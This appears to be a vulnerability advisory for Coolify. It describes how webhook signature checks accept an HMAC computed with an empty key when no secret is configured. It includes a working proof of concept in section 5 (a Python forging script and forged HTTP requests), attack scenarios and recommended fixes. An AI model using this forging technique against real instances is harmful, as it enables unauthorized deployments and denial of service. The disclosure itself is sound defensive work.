1. Summary

2. Description

Coolify's webhook endpoints validate incoming requests using HMAC-SHA256 signatures. The HMAC key is the application's manual_webhook_secret_github field, which is nullable with no default — meaning newly created applications have a null webhook secret.

Here's the problem: PHP's hash_hmac() function silently coerces a null key to an empty string ''. So when the secret is null, the server computes hash_hmac('sha256', $payload, '') — a deterministic value that any attacker can calculate independently. By sending X-Hub-Signature-256: sha256=<hash_hmac('sha256', payload, '')>, an unauthenticated attacker can forge a valid signature and trigger deployments.

This affects all three webhook controllers (GitHub, Bitbucket, Gitea). The GitHub path is the most common since Coolify primarily integrates with GitHub repositories.

The default configuration is vulnerable — a user must explicitly navigate to the application settings and set a webhook secret to be protected. There's no auto-generation, no warning in the UI, and no documentation highlighting this as a security requirement.

3. Root Cause Analysis

3.1 HMAC Computed with Null/Empty Key

File: app/Http/Controllers/Webhook/Github.php

// Lines 83-85: The core vulnerability
$webhook_secret = data_get($application, 'manual_webhook_secret_github');
// ← Returns null for applications without a configured secret

$hmac = hash_hmac('sha256', $request->getContent(), $webhook_secret);
// ← PHP coerces null to '' silently
// hash_hmac('sha256', payload, null) === hash_hmac('sha256', payload, '')
// This produces a deterministic, publicly-computable HMAC

if (! hash_equals($x_hub_signature_256, $hmac) && ! isDev()) {
    // ← Attacker sends hash_hmac('sha256', payload, '') and passes this check
}

Problem: hash_hmac() with a null key silently uses an empty string. The resulting HMAC is deterministic and computable by anyone who knows the payload body.

3.2 Nullable Column with No Default

File: database/migrations/2023_11_14_103450_add_manual_webhook_secret.php

// Line 15: Nullable, no default value
$table->string('manual_webhook_secret_github')->nullable();
// ← New applications get null, not a random secret

3.3 Same Pattern in Other Webhook Controllers

File: app/Http/Controllers/Webhook/Bitbucket.php

// Lines 62-64: Same vulnerable pattern
[$algo, $hash] = explode('=', $x_bitbucket_token, 2);
$payloadHash = hash_hmac($algo, $payload, $webhook_secret);
// ← Additionally, $algo comes from the attacker (X-Hub-Signature header)

File: app/Http/Controllers/Webhook/Gitea.php — Lines 69-78, identical pattern.

3.4 Webhook Secrets Not Encrypted at Rest

// app/Models/Application.php — $casts array
'http_basic_auth_password' => 'encrypted',  // This one is encrypted
// manual_webhook_secret_github is NOT in $casts as 'encrypted'
// ← Stored in plaintext in the database

4. Impact Analysis

4.1 Confidentiality — None

The webhook endpoint does not directly return sensitive data.

4.2 Integrity — High

An unauthenticated attacker can:

• Trigger arbitrary deployments for any application with a null webhook secret
• Force redeployment of the current branch, potentially disrupting running services
• Trigger deployment of specific branches if the webhook payload specifies a branch the attacker controls (e.g., a fork)

4.3 Availability — Low

Deployment queue flooding can delay legitimate deployments. Rapid redeployment cycling can cause brief service outages.

5. Proof of Concept

5.1 Environment Setup

cd poc/000_shared_env && docker compose up -d
# Create an application linked to a GitHub repo WITHOUT setting a webhook secret

Tested on: Coolify v4.0.0-beta.473, official Docker image

5.2 Step 1 — Compute Forged HMAC

import hmac, hashlib, json

payload = json.dumps({
    "ref": "refs/heads/main",
    "repository": {"full_name": "coollabsio/coolify-examples", "id": 12345},
    "action": "push"
}, separators=(",", ":"))

# Attacker computes HMAC with empty key (simulating null webhook secret)
forged = hmac.new(b"", payload.encode(), hashlib.sha256).hexdigest()
print(f"sha256={forged}")

5.3 Step 2 — Send Forged Webhook (Accepted)

POST /webhooks/source/github/events HTTP/1.1
Host: localhost:8000
Content-Type: application/json
X-GitHub-Event: push
X-Hub-Signature-256: sha256=cb4de9a292ca7cd1195925b7ea6fac034fe3ef1bce3a817a0e1c3c0a48dff08b
X-GitHub-Delivery: forged-delivery-1

{"ref":"refs/heads/main","repository":{"full_name":"coollabsio/coolify-examples","id":12345},"action":"push"}

Response (500):

<p class="font-mono font-semibold text-red-500">500</p>

The 500 error occurs because the request passed HMAC validation and proceeded to deployment processing, which failed due to the test environment's incomplete app configuration. The key point: the response is NOT "Invalid signature.".

5.4 Step 3 — Send Wrong HMAC (Rejected)

POST /webhooks/source/github/events HTTP/1.1
Host: localhost:8000
Content-Type: application/json
X-GitHub-Event: push
X-Hub-Signature-256: sha256=f645c16b25955bf24c27a0b0e4d3c8b91a74e3f29c11ef1c6da9c5b0d7fbcab3
X-GitHub-Delivery: forged-delivery-2

{"ref":"refs/heads/main","repository":{"full_name":"coollabsio/coolify-examples","id":12345},"action":"push"}

Response (200):

Invalid signature.

A wrong HMAC key is correctly rejected, confirming the signature check is active — it just fails to protect when the secret is null.

5.5 Step 4 — No Signature (Rejected)

Sending without X-Hub-Signature-256 also returns "Invalid signature." — further confirming the check works in all cases except the null-key scenario.

Consistency: 5/5 runs successful (Cold Start verified)

6. Attack Scenarios

Scenario A: Unauthorized Production Deployment

1. Attacker identifies a Coolify instance (e.g., via exposed port or Shodan)
2. Attacker determines the repository name (e.g., from DNS CNAME or public commit references)
3. Attacker sends forged push webhook with empty-key HMAC
4. Coolify triggers deployment, potentially pulling and deploying a new version during business hours

Scenario B: Deployment Queue Denial of Service

1. Attacker sends hundreds of forged webhook requests per minute
2. Each triggers a deployment job, flooding the Horizon queue
3. Legitimate deployments are delayed or blocked
4. Server resources are consumed by unnecessary build/deploy cycles

7. Affected Code Paths

Attacker: POST /webhooks/source/github/events
    |  X-Hub-Signature-256: sha256=<hmac(payload, "")>
    v
Github Webhook Controller
    |  app/Http/Controllers/Webhook/Github.php:83
    |  $webhook_secret = null (from application record)
    |  $hmac = hash_hmac('sha256', payload, null)  // PHP: null -> ''
    |  hash_equals(attacker_hmac, computed_hmac) -> TRUE
    v
HMAC check passes
    |  -> Proceeds to match repository and trigger deployment
    v
StartDeployment dispatched
    |  -> Application redeployed without authorization

8. Recommended Fixes

Fix 1 (Critical): Reject Webhooks When No Secret is Configured

// app/Http/Controllers/Webhook/Github.php
$webhook_secret = data_get($application, 'manual_webhook_secret_github');
if (empty($webhook_secret)) {
    ray('Webhook rejected: no secret configured for application ' . $application->uuid);
    continue; // Skip this application, try the next match
}
$hmac = hash_hmac('sha256', $request->getContent(), $webhook_secret);

Fix 2 (High): Auto-Generate Webhook Secret on Application Creation

// app/Models/Application.php — boot method
static::creating(function ($application) {
    $application->manual_webhook_secret_github ??= \Illuminate\Support\Str::random(40);
    $application->manual_webhook_secret_gitlab ??= \Illuminate\Support\Str::random(40);
    $application->manual_webhook_secret_bitbucket ??= \Illuminate\Support\Str::random(40);
    $application->manual_webhook_secret_gitea ??= \Illuminate\Support\Str::random(40);
});

Fix 3 (Medium): Encrypt Webhook Secrets at Rest

// app/Models/Application.php — $casts
protected $casts = [
    'manual_webhook_secret_github' => 'encrypted',
    'manual_webhook_secret_gitlab' => 'encrypted',
    'manual_webhook_secret_bitbucket' => 'encrypted',
    'manual_webhook_secret_gitea' => 'encrypted',
    // ...existing casts
];

Fix 4 (Low): Backfill Existing Applications

// Migration: backfill null webhook secrets for existing applications
Application::whereNull('manual_webhook_secret_github')
    ->each(function ($app) {
        $app->update(['manual_webhook_secret_github' => Str::random(40)]);
    });

9. References

• CWE-287: Improper Authentication — https://cwe.mitre.org/data/definitions/287.html
• PHP hash_hmac() Documentation: Notes on null key behavior — https://www.php.net/manual/en/function.hash-hmac.php
• GitHub Webhook Security: Validating payloads — https://docs.github.com/en/webhooks/using-webhooks/validating-webhook-deliveries
• OWASP Authentication Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html